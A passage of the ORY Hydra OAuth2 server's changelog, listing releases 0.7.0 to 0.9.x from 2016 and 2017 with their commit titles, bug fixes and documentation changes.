challenge redirect (#509) In order to support running Hydra with a different path prefix behind a proxy, issue a challenge token with an issuer-prefixed auth redirect URL instead of the URL received with the auth request. Signed-off-by: Wyatt Anderson <[email protected]> ### Documentation * Add sponsor section ([3675cf8](https://github.com/ory/hydra/commit/3675cf84ccae50e1fe165f48b106558644081c2d)) * Update to latest go-swagger compatibility ([fa46dbd](https://github.com/ory/hydra/commit/fa46dbdee7a6d857037cab5c66d5352e31c5f727)) ### Unclassified * Add tests for refresh token grant ([8af0df5](https://github.com/ory/hydra/commit/8af0df57c86e1b164e2407f45dc34a7756781540)) * Export test helpers ([#518](https://github.com/ory/hydra/issues/518)) ([c65ae77](https://github.com/ory/hydra/commit/c65ae77c7d48624a8331b516b245145ee05a934f)) * Resolve failing test and data race ([#501](https://github.com/ory/hydra/issues/501)) ([ab573c8](https://github.com/ory/hydra/commit/ab573c84c7dda38de075706916b0a1e730c884d5)) * Resolve potential data race ([#520](https://github.com/ory/hydra/issues/520)) ([d7ef3a5](https://github.com/ory/hydra/commit/d7ef3a5b17c54096155f52492f7901b27c75cf8a)) * Use issuer-prefixed auth URL in challenge redirect ([#509](https://github.com/ory/hydra/issues/509)) ([688103c](https://github.com/ory/hydra/commit/688103c7ffc59b7012c606f2c7c375f12337c35f)): In order to support running Hydra with a different path prefix behind a proxy, issue a challenge token with an issuer-prefixed auth redirect URL instead of the URL received with the auth request. # [0.9.2](https://github.com/ory/hydra/compare/v0.9.1...v0.9.2) (2017-06-13) cmd/server: print full error message on http startup (#514) Towards #513 ### Unclassified * cmd/server: print full error message on http startup (#514) ([b5cb0c6](https://github.com/ory/hydra/commit/b5cb0c690e53605cb42f34ef4bc02276fd6846e6)), closes [#514](https://github.com/ory/hydra/issues/514) [#513](https://github.com/ory/hydra/issues/513) # [0.9.1](https://github.com/ory/hydra/compare/v0.9.0...v0.9.1) (2017-06-12) client: export tests (#510) ### Unclassified * Add auto migration image ([#502](https://github.com/ory/hydra/issues/502)) ([62eb355](https://github.com/ory/hydra/commit/62eb3557622337d7726193ba1c582ed9ce5bb862)) * Export tests ([#510](https://github.com/ory/hydra/issues/510)) ([e6920d3](https://github.com/ory/hydra/commit/e6920d3029a5c0b5166101a355348bffd626c17d)) * Improve metrics ([#508](https://github.com/ory/hydra/issues/508)) ([163b439](https://github.com/ory/hydra/commit/163b4393d0751d28a257ecdf2c044e5dfdbd679c)) # [0.9.0](https://github.com/ory/hydra/compare/v0.8.7...v0.9.0) (2017-06-07) metrics: add metrics and telemetry package (#500) ### Documentation * Add FAQ on missing migrate in docker image ([#498](https://github.com/ory/hydra/issues/498)) ([6f38157](https://github.com/ory/hydra/commit/6f38157f076eb2f258dd98dbf7ccc8a585d6ec30)), closes [#484](https://github.com/ory/hydra/issues/484) * Add scopes to oauth2 ([#495](https://github.com/ory/hydra/issues/495)) ([8b412fc](https://github.com/ory/hydra/commit/8b412fc0acfb550ea9cd96e23e1f4fb3073a5cea)) ### Unclassified * warden/group: add rollback to transactions (#494) ([6feffb2](https://github.com/ory/hydra/commit/6feffb2a094e2f265772fa6e7baad4142fac7f86)), closes [#494](https://github.com/ory/hydra/issues/494) * Add metrics and telemetry package ([#500](https://github.com/ory/hydra/issues/500)) ([a04e6f2](https://github.com/ory/hydra/commit/a04e6f2f1b2f748e0ed762375ec65204a326dd7b)) * Add simple example of hydra sdk ([#499](https://github.com/ory/hydra/issues/499)) ([4d3a6ad](https://github.com/ory/hydra/commit/4d3a6adf0b0c880c93aff1d20a1237b7fe349b06)), closes [#358](https://github.com/ory/hydra/issues/358) * Upgrade to ladon 0.7.4 - closes [#350](https://github.com/ory/hydra/issues/350) ([#497](https://github.com/ory/hydra/issues/497)) ([874c62d](https://github.com/ory/hydra/commit/874c62d984a4202c0ffe61295c1194cfc4da87f3)) # [0.8.7](https://github.com/ory/hydra/compare/v0.8.6...v0.8.7) (2017-06-05) client/manager_sql: return an empty slice if string is empty (#491) Signed-off-by: Mohamedh Fazal <[email protected]> ### Unclassified * client/manager_sql: return an empty slice if string is empty (#491) ([e88fdb7](https://github.com/ory/hydra/commit/e88fdb7d5f42bdca5d6a3cef0eb95103d2dd3721)), closes [#491](https://github.com/ory/hydra/issues/491) * oauth2/introspect>: resolve 401 on invalid token (#492) ([9e0cb23](https://github.com/ory/hydra/commit/9e0cb23dda77d88062a152c2e8b63968c4b2119e)), closes [#492](https://github.com/ory/hydra/issues/492) [#457](https://github.com/ory/hydra/issues/457) * Implement --fake-tls-termination flag ([#493](https://github.com/ory/hydra/issues/493)) ([79580e1](https://github.com/ory/hydra/commit/79580e1ea9f28ed0298436dc7f8f0e611e8f5f34)) # [0.8.6](https://github.com/ory/hydra/compare/v0.8.5...v0.8.6) (2017-06-05) oauth2: allow redirection to client if consent was denied (#489) * oauth2: allow redirection to client if consent was denied Closes #371 * oauth2: allow redirection to client if consent was denied Closes #371 ### Documentation * Add health check to swagger and resolve swagger issues ([#488](https://github.com/ory/hydra/issues/488)) ([ddca997](https://github.com/ory/hydra/commit/ddca997bc6b43efd1ef8f1aee5d78ac246e72877)), closes [#355](https://github.com/ory/hydra/issues/355) * Added sections on install errors ([6c22c4a](https://github.com/ory/hydra/commit/6c22c4aac8b8047297e0cdbbdf09ca31f9ae394d)) * Update docker instructions in readme ([485f073](https://github.com/ory/hydra/commit/485f073d1db6a80da6fb97f97af794c5657a7200)) * Update swagger definition for warden groups ([#476](https://github.com/ory/hydra/issues/476)) ([401466e](https://github.com/ory/hydra/commit/401466ed9ef3b1cee9c7bb0517635e40318151c9)): * update swagger group members * update Signed-off-by: pbarker <[email protected]> * swagger update Signed-off-by: pbarker <[email protected]> ### Unclassified * oauth2/introspect: send issuer in introspection ([a9f500b](https://github.com/ory/hydra/commit/a9f500b75a3acd6ef00f1dda97d06ce78ab38187)), closes [#399](https://github.com/ory/hydra/issues/399) * pkg/errors: make ErrNotFound return a status code (#486) ([6688b94](https://github.com/ory/hydra/commit/6688b9439de706b49ddf4d87e75fd7ff4678fbf2)), closes [#486](https://github.com/ory/hydra/issues/486) [#348](https://github.com/ory/hydra/issues/348) * jwk/handler: nest ac check and resolve stray log message (#487) ([694bf57](https://github.com/ory/hydra/commit/694bf579cf93f7f05f23f1b0f320342a274720ee)), closes [#487](https://github.com/ory/hydra/issues/487) [#271](https://github.com/ory/hydra/issues/271) * cmd/policies: description is a string field, not slice (#485) ([0f73971](https://github.com/ory/hydra/commit/0f7397124b723eaab3e5fe190c0821a84b9bec4c)), closes [#485](https://github.com/ory/hydra/issues/485) [#472](https://github.com/ory/hydra/issues/472) * client/manager: remove merging of stored and updated client (#478) ([af88368](https://github.com/ory/hydra/commit/af88368c2f748f2b149cb9623d2ac8e361c6b39d)), closes [#478](https://github.com/ory/hydra/issues/478) * Allow redirection to client if consent was denied ([#489](https://github.com/ory/hydra/issues/489)) ([48c229b](https://github.com/ory/hydra/commit/48c229b62af56ab16f26e827b221b9e04bb0c077)), closes [#371](https://github.com/ory/hydra/issues/371) [#371](https://github.com/ory/hydra/issues/371): * oauth2: allow redirection to client if consent was denied * Update to latest versions ([2f617c5](https://github.com/ory/hydra/commit/2f617c55fff0957c444f806b2b2bf2f20ba17235)) * Update to latest versions ([#482](https://github.com/ory/hydra/issues/482)) ([83118d1](https://github.com/ory/hydra/commit/83118d1df7b8ea224ca07ef23f047f61ca05f8ea)): * vendor: update to latest versions * vendor: update to latest versions * vendor: update to latest versions * vendor: update to latest versions # [0.8.5](https://github.com/ory/hydra/compare/v0.8.4...v0.8.5) (2017-06-01) cmd/server: resolve gorilla session mem leak - closes #461 ### Unclassified * cmd/server: resolve gorilla session mem leak - closes #461 ([baf60d2](https://github.com/ory/hydra/commit/baf60d29d99aae9b5100181374b150075796342f)), closes [#461](https://github.com/ory/hydra/issues/461) * Fix spelling of challenge ([#471](https://github.com/ory/hydra/issues/471)) ([851fea5](https://github.com/ory/hydra/commit/851fea5020fa1234579147ff42260ed1e5b90fcb)) * Remove unused implicit grant storage ([#469](https://github.com/ory/hydra/issues/469)) ([8acf0f9](https://github.com/ory/hydra/commit/8acf0f9482ceeda7334a876795f2424f3eca8f82)) # [0.8.4](https://github.com/ory/hydra/compare/v0.8.3...v0.8.4) (2017-05-24) config: connect to cleaned DSN Closes #464 ### Documentation * Add running hydra in production section ([138c7cd](https://github.com/ory/hydra/commit/138c7cd31a8b0d971dbe8450aa513650e9bccb74)) * Hint to kubernetes helm chart - see [#430](https://github.com/ory/hydra/issues/430) ([69f0c2f](https://github.com/ory/hydra/commit/69f0c2fe8d3fe1001e615da030edf37a0568913b)) * Update jwk resource names in consent app guide ([8f1330b](https://github.com/ory/hydra/commit/8f1330b277d8aff82a09d59e48fcf21495bc790b)) ### Unclassified * Connect to cleaned DSN ([78ea521](https://github.com/ory/hydra/commit/78ea5219e661df5be50e04ad02320ec703682776)), closes [#464](https://github.com/ory/hydra/issues/464) # [0.8.3](https://github.com/ory/hydra/compare/v0.8.2...v0.8.3) (2017-05-23) config: remove sql control parameters from dsn before connecting Closes #464 ### Documentation * Change readme sections and ordering of sponsors ([6e631ab](https://github.com/ory/hydra/commit/6e631ab8b49e8ef174ab578f618615c55f2712ab)) * Update banner ([1ca4780](https://github.com/ory/hydra/commit/1ca478012bd38ff0604d160aa9a1ad0301483378)) * Update ory hydra for enterprise section ([e81bf43](https://github.com/ory/hydra/commit/e81bf43bb071c8064b1e80b9d92817488231be85)) * Update readme header ([4cb2d2f](https://github.com/ory/hydra/commit/4cb2d2f66b4aa6d8e3053c262ea2eb56a2c7188e)) ### Unclassified * Remove sql control parameters from dsn before connecting ([7d6a6e7](https://github.com/ory/hydra/commit/7d6a6e7ad3d89694ea3b2f112ea72265ae8000ec)), closes [#464](https://github.com/ory/hydra/issues/464) * Resolve issue with offset and limit in policy listing ([#459](https://github.com/ory/hydra/issues/459)) ([9d833a2](https://github.com/ory/hydra/commit/9d833a2ea223191297919a9f842cc40ed31eb2ad)) # [0.8.2](https://github.com/ory/hydra/compare/v0.8.1...v0.8.2) (2017-05-10) oauth2: add key id to jwt header - closes #433 Signed-off-by: pbarker <[email protected]> ### Unclassified * Add key id to jwt header - closes [#433](https://github.com/ory/hydra/issues/433) ([0d64c67](https://github.com/ory/hydra/commit/0d64c6792326dfe379a4b995fb1cb9fec128bbaa)) * Adds /.well-known/openid-configuration - closes [#379](https://github.com/ory/hydra/issues/379) ([3769676](https://github.com/ory/hydra/commit/3769676d482bafa66a295e7550010e2414c2f943)) * Improve error message for when database tables are missing ([a0a6ad1](https://github.com/ory/hydra/commit/a0a6ad10fe7c68fb7f3ba64fe3e97ff22af38e73)) # [0.8.1](https://github.com/ory/hydra/compare/v0.8.0...v0.8.1) (2017-05-08) ci: resolve publishing travis go 1.8 ### Continuous Integration * Resolve publishing travis go 1.8 ([1205c34](https://github.com/ory/hydra/commit/1205c34d2b09555cba8b16ae763a46c9ea1519ae)) # [0.8.0](https://github.com/ory/hydra/compare/v0.7.13...v0.8.0) (2017-05-07) ci: resolve travis issues ### Continuous Integration * Resolve travis issues ([b16c0f3](https://github.com/ory/hydra/commit/b16c0f3dc83e1eccb3b37f641e70c690a3c44405)) ### Documentation * ✏️ minor grammar typo in security doc ([#452](https://github.com/ory/hydra/issues/452)) ([ebac781](https://github.com/ory/hydra/commit/ebac781ca6c8fbaebca94ca72504fb63a74b39ff)) * Add faq sections for ropc and mobile ([1170093](https://github.com/ory/hydra/commit/1170093f54799b0b89431e61bb4f7ac3ea4bcafb)) * Add history doc ([85b69b8](https://github.com/ory/hydra/commit/85b69b863f2d2f702ac556d724f418a8487a8fa9)) * Add oauth2 native link ([5cd1253](https://github.com/ory/hydra/commit/5cd1253222964479a91e1c1da6799885be2fc5dc)) * Add offline scope to swagger ([8750718](https://github.com/ory/hydra/commit/87507185f5ebbfe2d8249816355beb98e911e8b3)) * Add scopes docs, move swagger json to yaml ([0fd52b2](https://github.com/ory/hydra/commit/0fd52b2d3aa0d2bcdf76650bc45717977ffe6343)) * Add security section ([5af56c3](https://github.com/ory/hydra/commit/5af56c374cf20b333b519f7d8e4b02029079bf0e)) * Add swagger docs for the client endpoint ([ede8768](https://github.com/ory/hydra/commit/ede87686e94affbdd9fb0a6636323829ff036404)) * Add swagger spec for listing clients ([a9d50cf](https://github.com/ory/hydra/commit/a9d50cf9e0e0457b9bcfbe6b1e275653aa4b6c3d)) * Add who is using it section ([4c7551c](https://github.com/ory/hydra/commit/4c7551cb2bdb44ecdaccf5ad8ff7c8b5a0994c03)) * Beef up security docs ([52c7336](https://github.com/ory/hydra/commit/52c733612a321b8a5db52e6c3de2c30e4433035f)) * Improve client swagger specs and add jwk specs ([c613540](https://github.com/ory/hydra/commit/c6135403d5e738235ba6f1ad2e182f53ecd67dfc)) * Improve documentation ([dcc090d](https://github.com/ory/hydra/commit/dcc090d73b1c03010f81953660e287b2db3cdd56)) * Re-add tutorial on consent app by [@matteosuppo](https://github.com/matteosuppo) ([67ffe33](https://github.com/ory/hydra/commit/67ffe3338aa2958f2846b42da2466a106b68e439)) * Remove rethinkdb from readme ([fb84d5e](https://github.com/ory/hydra/commit/fb84d5ea30b04107fc52a16cd68eb26f57d53897)) * Update security section in readme ([b88abf1](https://github.com/ory/hydra/commit/b88abf1ca6b2f664e68e34078ad62495786ca873)) * Update swagger description ([c536685](https://github.com/ory/hydra/commit/c5366856886be4009fb5c00fbb89585c8e1723a2)) * Update typos in history ([1f898ba](https://github.com/ory/hydra/commit/1f898badcdab9cf9d16b900b64ac876dd3add43b)) ### Unclassified * docker-demo: get dockerfile working again ([d47410e](https://github.com/ory/hydra/commit/d47410ed7c7e7da54e2239fdad6112efb4607910)) * warden/group: fix c&p typos ([7efb71f](https://github.com/ory/hydra/commit/7efb71f582fe0854cdbbfa8034b8023a0c9e1c5f)) * config/sql: implement ability to handle sql parallelism ([d9ae845](https://github.com/ory/hydra/commit/d9ae845d1641f24e7bca29ae9d98698910053c2c)) * Add migrate dummies ([5b2e737](https://github.com/ory/hydra/commit/5b2e737ba546dcaec50bb4aaad809bd14aaf9bd2)) * Added swagger docs for the rest of the apis ([0ebf0ec](https://github.com/ory/hydra/commit/0ebf0ec8cdc9812f22c14afb5295df3fa9e2391f)) * Allow setting SkipTLSVerify option value ([#448](https://github.com/ory/hydra/issues/448)) ([3cfab4e](https://github.com/ory/hydra/commit/3cfab4e914f2575fbb52d7b7b487cd25b6a58931)) * Finalize ladon and logrus changes ([b764c8e](https://github.com/ory/hydra/commit/b764c8e876a03ce22e10a91a0f24ed1b36d87f22)) * Fix typo ([b3a4486](https://github.com/ory/hydra/commit/b3a44863dae04b4620caa90067b7af4148c2e5f5)) * Goimports ([1f65068](https://github.com/ory/hydra/commit/1f650688039cae0e719586205e80944979448bff)) * Goimports ([0985a59](https://github.com/ory/hydra/commit/0985a594e1ed85566ce5f50298524301f8e74a19)) * Goimports ([91dc026](https://github.com/ory/hydra/commit/91dc02628cea1bd9e3b8391024cdc27722f763e0)) * Goimports ([9be2ff3](https://github.com/ory/hydra/commit/9be2ff31645df153c99d0b5d623fecbb1e947c8c)) * Implement better migration handling ([819d4b4](https://github.com/ory/hydra/commit/819d4b40deb1153a26736d92672a2094e40496c5)) * Implement list functionality ([bde0aa6](https://github.com/ory/hydra/commit/bde0aa6ece66466e667a1229b0016114ad99b21a)) * Implement listing policies ([f16cb77](https://github.com/ory/hydra/commit/f16cb7727a58eb4d0047defa0a1e6d2833facf7a)) * Improve openid connect error message - closes [#439](https://github.com/ory/hydra/issues/439) ([dbf2b33](https://github.com/ory/hydra/commit/dbf2b330a39e17d1fcae2500e73945933678a45a)) * Introduce log_format and log_level ([ada626c](https://github.com/ory/hydra/commit/ada626c87c427b5e02a41b3899d1324f9a8aef61)) * Limit maximum open connections, document timeout options through DSN ([fa8d15c](https://github.com/ory/hydra/commit/fa8d15c0870d98b773d1a65e33552f8c4f9b6d0d)), closes [#359](https://github.com/ory/hydra/issues/359) * Move move most writers in handlers to ory/herodot ([708c1a2](https://github.com/ory/hydra/commit/708c1a2d31e20b60c72800c067e5553259bed377)) * Move move ory-am/ladon to ory/ladon ([e02b017](https://github.com/ory/hydra/commit/e02b01730f55bd2cfcbe80853f8d959b043257eb)) * Move to new ladon structure ([9cae465](https://github.com/ory/hydra/commit/9cae465b5436492951102b1da4d29eb21b1b42af)) * Move to new org ([e912acc](https://github.com/ory/hydra/commit/e912acc3a1d203a1a4e7a3f349c1c7c7c47bf660)) * Move to one logrus instance ([2869ed1](https://github.com/ory/hydra/commit/2869ed16e1e9db7b3fc6cf052a23352ac8124789)) * Reflect ladon memory manager changes ([e3a3837](https://github.com/ory/hydra/commit/e3a38379a42991732e2ffddb7720d95627f35f84)) * Remove context from herodot calls ([ca898d6](https://github.com/ory/hydra/commit/ca898d655bd591018473e283034f5f52ccb000b6)) * Remove graceful ([15ca194](https://github.com/ory/hydra/commit/15ca194e9aaa9222b89cf5a4fd0a99faef67daee)) * Remove redis and rethinkdb adapters ([af52e68](https://github.com/ory/hydra/commit/af52e68cf763df0d6fe9d8340bca9e3d53078fbb)) * Rename GetAll to List ([2313570](https://github.com/ory/hydra/commit/23135702e31e5cf9ce1d3b4a2cae7c7c7f5e99b8)) * Resolve issues with jwk manager ([11da23b](https://github.com/ory/hydra/commit/11da23be72dcd9ff6eb72e96c0044943520d6dd0)) * Resolve remaining test issues ([cb97cd1](https://github.com/ory/hydra/commit/cb97cd184ebe2950e33e9c83c9de79063b7abbd2)) * Resolve test issues ([f7ce565](https://github.com/ory/hydra/commit/f7ce5651690b47884dd0cc479a71d7b8b7f1c1b5)) * Resolve test issues with memory adapter ([2c3c8e3](https://github.com/ory/hydra/commit/2c3c8e36976c74a1038167d513c52cd3b288d178)) * Update glide lockfile ([4fdda53](https://github.com/ory/hydra/commit/4fdda5365f33afdc70a31f54ad1d96b32eb63416)) * Upgrade consent app image ([c95ab53](https://github.com/ory/hydra/commit/c95ab534225a82274070a85828593f3511e26d6a)) * Upgrade glide ([6f696b1](https://github.com/ory/hydra/commit/6f696b1204e82bd47374107a538a1f8b86f0aab8)) * Upgrade glide ([d6b12cc](https://github.com/ory/hydra/commit/d6b12cca93126c1c0ba63aa4bf4252de4773f2b8)) # [0.7.13](https://github.com/ory/hydra/compare/v0.7.12...v0.7.13) (2017-05-03) vendor: upgrade fosite to resolve regression issue (#446) ### Documentation * Add Auth0 to sponsor section ([#435](https://github.com/ory/hydra/issues/435)) ([65105f4](https://github.com/ory/hydra/commit/65105f47d0bb907cb94cd5ad9cc896b9b15e2550)) ### Unclassified * Upgrade fosite to resolve regression issue ([#446](https://github.com/ory/hydra/issues/446)) ([a6935c1](https://github.com/ory/hydra/commit/a6935c1c3ecbdbb19f8a9b35536b78cc5d7cb667)) # [0.7.12](https://github.com/ory/hydra/compare/v0.7.11...v0.7.12) (2017-04-30) herodot: resolve issue with infinite loop caused by certain error chain (#442) Closes #441 ### Unclassified * Resolve issue with infinite loop caused by certain error chain ([#442](https://github.com/ory/hydra/issues/442)) ([e4284f2](https://github.com/ory/hydra/commit/e4284f244d2b08f5470d81ff8e0bbe9853d6a0f1)), closes [#441](https://github.com/ory/hydra/issues/441) # [0.7.11](https://github.com/ory/hydra/compare/v0.7.10...v0.7.11) (2017-04-28) vendor: resolve issues with glide lock file (#438) ### Unclassified * Resolve issues with glide lock file ([#438](https://github.com/ory/hydra/issues/438)) ([14ad439](https://github.com/ory/hydra/commit/14ad439cae7058dcc79407cd8ba3172d2e08e858)) # [0.7.10](https://github.com/ory/hydra/compare/v0.7.9...v0.7.10) (2017-04-14) vendor: update redis imports ### Documentation * Add enterprise edition note to readme ([31954ad](https://github.com/ory/hydra/commit/31954adca194ed1294c97e0c762a56c6e6b6e2df)) * Changes apiary url to current version ([d8ce401](https://github.com/ory/hydra/commit/d8ce401e6d79d7ebe60592484e4c834730694c42)) * Remove references to uname from docs ([#423](https://github.com/ory/hydra/issues/423)) ([842e140](https://github.com/ory/hydra/commit/842e14069cea04d91df649ed191d268e65bf70e5)) * Resolve broken build instructions in readme - closes [#420](https://github.com/ory/hydra/issues/420) ([#421](https://github.com/ory/hydra/issues/421)) ([a209990](https://github.com/ory/hydra/commit/a2099900c41531a36767223269d32166b3c1b4de)) * Update apiary links in readme ([#409](https://github.com/ory/hydra/issues/409)) ([48b0677](https://github.com/ory/hydra/commit/48b0677d8692186cbb718688b070caaf24a34897)) * Update enterprise edition section ([6ebe835](https://github.com/ory/hydra/commit/6ebe8355ac29f2f8d207aed09c602ab58543d52d)) * Update enterprise edition section ([e152ce6](https://github.com/ory/hydra/commit/e152ce6811da95ab8cc21a693b3d2f6d04a0917d)) ### Unclassified * docs/tutorial: update bash command (#412) ([e40db39](https://github.com/ory/hydra/commit/e40db3980e2e24d3514e4eb9cf943de51e7f14f2)), closes [#412](https://github.com/ory/hydra/issues/412): updating bash command to `/bin/sh` * Improves doc by dropping brackets in cmd usage ([#415](https://github.com/ory/hydra/issues/415)) ([d60625d](https://github.com/ory/hydra/commit/d60625ddcbd72bcd4934b201438267c0d2fadc68)) * Update common and ladon dependencies ([d0e7752](https://github.com/ory/hydra/commit/d0e77525f765acbf8cff0d710f909f5a401f101e)), closes [#419](https://github.com/ory/hydra/issues/419) * Update gorethink imports ([77deb6c](https://github.com/ory/hydra/commit/77deb6cf72c817eb0e6d26f0e612f004fbe45cb7)) * Update redis imports ([d6fd930](https://github.com/ory/hydra/commit/d6fd930a8fd56ea97f08880ee8826a7a8e0195ac)) # [0.7.9](https://github.com/ory/hydra/compare/v0.7.8...v0.7.9) (2017-04-02) vendor: updated ladon version in glide.lock (#404) ### Unclassified * Add golang consent example ([22e33c4](https://github.com/ory/hydra/commit/22e33c4bac96911bb745483f4901655d2f903be5)) * Fix typo ([4827507](https://github.com/ory/hydra/commit/4827507614b7bfcac7158cc310d8f9abc720e308)) * Updated ladon version in glide.lock ([#404](https://github.com/ory/hydra/issues/404)) ([de2c4bb](https://github.com/ory/hydra/commit/de2c4bbad9045ff4b2c892d890675c86d8c03e7a)) # [0.7.8](https://github.com/ory/hydra/compare/v0.7.7...v0.7.8) (2017-03-24) sdk: improve consent api and docs ### Documentation * Add articles section ([4722b8c](https://github.com/ory/hydra/commit/4722b8c207fdddfa03a1f1968c64a7053449cfc1)) * Add example policy for consent app signing ([#389](https://github.com/ory/hydra/issues/389)) ([879d05b](https://github.com/ory/hydra/commit/879d05bcfea518d521d46b545b0b76d1db5afc8b)) * Added information about auth code exchange to oauth2 docs ([#392](https://github.com/ory/hydra/issues/392)) ([26a1284](https://github.com/ory/hydra/commit/26a12847c0827b58045ddc93bb759dc530755c1a)) * Update docker hub repo references ([b08d521](https://github.com/ory/hydra/commit/b08d5213aa089e6199f07544edd41b14955f4c11)) ### Unclassified * Add consent helper - closes [#397](https://github.com/ory/hydra/issues/397) ([e182085](https://github.com/ory/hydra/commit/e1820857a22b2286a295ac0940e74fc34e97039a)) * Add documentation to the consent sdk ([63f8dc4](https://github.com/ory/hydra/commit/63f8dc4b6bf38ea4994c91dba036ceb62c4c5528)) * Deleting a group creates it - closes [#383](https://github.com/ory/hydra/issues/383) ([2038e8c](https://github.com/ory/hydra/commit/2038e8c6bbccb5459d1a9f854c906c63df9c86e8)) * Gitter link doesn't work - closes [#386](https://github.com/ory/hydra/issues/386) ([dd6ad40](https://github.com/ory/hydra/commit/dd6ad4002e38344085b80723e05b8e1a0356ca19)) * Gofmt -w -s ([b22d26f](https://github.com/ory/hydra/commit/b22d26f9b0f978579651e46ad1c99998ed2a03d5)) * Improve consent api and docs ([93bb521](https://github.com/ory/hydra/commit/93bb521963ab05557553de6a5b0b34f7a1b8def4)) * Introduction ([e4e5199](https://github.com/ory/hydra/commit/e4e5199eb23d316f7dcb7126be83add675f401c3)) * New constent app image ([1a347a3](https://github.com/ory/hydra/commit/1a347a3c6f5b44d61dd38953ad33950ba6713044)) * Redirect_uri domains are case-sensitive - closes [#380](https://github.com/ory/hydra/issues/380) ([b5378d4](https://github.com/ory/hydra/commit/b5378d46f09b96655fe31d69b0f989083974ad4e)) * Reduce docker image size ([b8c10c3](https://github.com/ory/hydra/commit/b8c10c3eb0e846f3d8a20dec8a730d246cd00e84)) * Resolve ci issues and improve readme ([51fd393](https://github.com/ory/hydra/commit/51fd3935ffed268a3648b10044d6bf576c59c29b)) * Resolve typo in host command ([#391](https://github.com/ory/hydra/issues/391)) ([a910a35](https://github.com/ory/hydra/commit/a910a35257273874f6b0d2f5b899c88e2a8292fd)) * Update libraries section ([681dc8c](https://github.com/ory/hydra/commit/681dc8ce88a291055039c570a3bf28af11649510)) * Update libraries section and introduction ([57e0055](https://github.com/ory/hydra/commit/57e00558a998d135c010fc7f2d1d352ff7c89aaf)) # [0.7.7](https://github.com/ory/hydra/compare/v0.7.6...v0.7.7) (2017-02-11) oauth2: invalid consent response causes panic - closes #369 ### Unclassified * Invalid consent response causes panic - closes [#369](https://github.com/ory/hydra/issues/369) ([868a02b](https://github.com/ory/hydra/commit/868a02b376ad699be9512b20d6fd40f515f0a00f)) # [0.7.6](https://github.com/ory/hydra/compare/v0.7.5...v0.7.6) (2017-02-11) config: remove unused import ### Unclassified * Force hydra-idp-react version ([7cf5d79](https://github.com/ory/hydra/commit/7cf5d79feb2b67f8512378a689d28ba7497b3027)) * Remove unused import ([0401de9](https://github.com/ory/hydra/commit/0401de99dbcab699da95243a54179625b19eba01)) * Resolve issue with cookie store ([5331bbb](https://github.com/ory/hydra/commit/5331bbbc95d1950795cab336c2135d31cb4c0a2b)) * Update ory references ([8fc3c7b](https://github.com/ory/hydra/commit/8fc3c7b2341d4fd01f98305e313e01b1644d10b0)) # [0.7.3](https://github.com/ory/hydra/compare/v0.7.2...v0.7.3) (2017-01-22) policy: investigate potential sql connection leak - closes #363 ### Unclassified * policy: investigate potential sql connection leak - closes #363 ([fe31f1f](https://github.com/ory/hydra/commit/fe31f1ff441a31e20f45774991a3f3b3405d0163)), closes [#363](https://github.com/ory/hydra/issues/363) * Update fosite_store_redis.go ([#361](https://github.com/ory/hydra/issues/361)) ([65b4584](https://github.com/ory/hydra/commit/65b4584da8267d212f9f31f9b7f7404a6c9329fe)): There was an additional quote on the JSON struct tag. # [0.7.2](https://github.com/ory/hydra/compare/v0.7.1...v0.7.2) (2017-01-02) vendor: update to fosite 0.6.12 - closes #342 ### Unclassified * Improve sql migration routine and add test ([4f931cd](https://github.com/ory/hydra/commit/4f931cd6097d9fb7c45f4569f624fb42a5e76f19)) * Remove stray log ([971d7ba](https://github.com/ory/hydra/commit/971d7ba5275a7298ccb2ba542ca397c520428a6f)) * Update to fosite 0.6.11 - closes [#338](https://github.com/ory/hydra/issues/338) ([c59d8a4](https://github.com/ory/hydra/commit/c59d8a4b5c84c3d48e12094fb6c1c5453cd837ec)) * Update to fosite 0.6.12 - closes [#342](https://github.com/ory/hydra/issues/342) ([699163f](https://github.com/ory/hydra/commit/699163ffefc1d3bf01d9d7f971ba3469ab647a90)) # [0.7.1](https://github.com/ory/hydra/compare/v0.7.0...v0.7.1) (2016-12-30) groups: fix issue with sql migration ### Unclassified * Fix issue with sql migration ([5b42537](https://github.com/ory/hydra/commit/5b425372b0e54a2e9ff00aa555083b8b6034ee6a)) # [0.7.0](https://github.com/ory/hydra/compare/v0.6.10...v0.7.0) (2016-12-30) oidc: at_hash / c_hash mismatch - closes #338 ### Documentation * Update five minute tutorial ([fc830c5](https://github.com/ory/hydra/commit/fc830c54712f09665f931b140567d02647785aea)) ### Unclassified * oidc: at_hash / c_hash mismatch - closes #338 ([fcdf664](https://github.com/ory/hydra/commit/fcdf6643845ff8b743a910295c5761dfd389a8a3)), closes [#338](https://github.com/ory/hydra/issues/338) * api docs ([57d2d5b](https://github.com/ory/hydra/commit/57d2d5b4424c57ebefa8dcd326978d1971b80f21)) * groups improve ([ffc9ad4](https://github.com/ory/hydra/commit/ffc9ad4a3c7aa883245d0cb0c368b15a0291f4d3)) * oauth2/consent: force jti echo in consent response -closes #322 ([e93840d](https://github.com/ory/hydra/commit/e93840d0ca51f813af3a5ee49655e187337991a1)), closes [#322](https://github.com/ory/hydra/issues/322) * cmd: add configuration options for `hydra token user` - closes #327 ([f5f371d](https://github.com/ory/hydra/commit/f5f371d00b6e51be1994f86f1207bebb046d496e)), closes [#327](https://github.com/ory/hydra/issues/327) * Add group management - closes [#68](https://github.com/ory/hydra/issues/68) ([ce46d45](https://github.com/ory/hydra/commit/ce46d45ebe2aecd544288f6bf31bd1853d4ca553)) * Add sql migrations - closes [#194](https://github.com/ory/hydra/issues/194) ([40bcc24](https://github.com/ory/hydra/commit/40bcc24df0ae9c184ca3aa366c31d83dc933dd6f)) * Clean up docker files ([0316825](https://github.com/ory/hydra/commit/03168256f1b029a97c78bdf6b798571a2523e2c5)) * Correct error wrapping ([07441f9](https://github.com/ory/hydra/commit/07441f93639217fb947f502a85c3e71558eefd32)) * Fix tests ([136453f](https://github.com/ory/hydra/commit/136453f26969312d6545cb087c1471ef3fa5be63)) * Glide update ([86e88b8](https://github.com/ory/hydra/commit/86e88b834dd2be4fcf9edcd81d5e26ecd374ae51)) * Gofmt -w -s . ([0383022](https://github.com/ory/hydra/commit/038302245ba5cd6bc46df7ac96ff48db16ebe093)) * Gofmt -w -s . ([5aed256](https://github.com/ory/hydra/commit/5aed2566cfc9731be2bcae4c7c42264f3f78aca9)) * Improve error handling ([00cc2ca](https://github.com/ory/hydra/commit/00cc2ca2b3ba6bf80266dec5eebdfa93e81afc39)) * Improve error handling ([def560c](https://github.com/ory/hydra/commit/def560cbd9de004516b4185c9973fa174d24e262)) * Provide rest endpoint for policy updates - closes [#305](https://github.com/ory/hydra/issues/305) 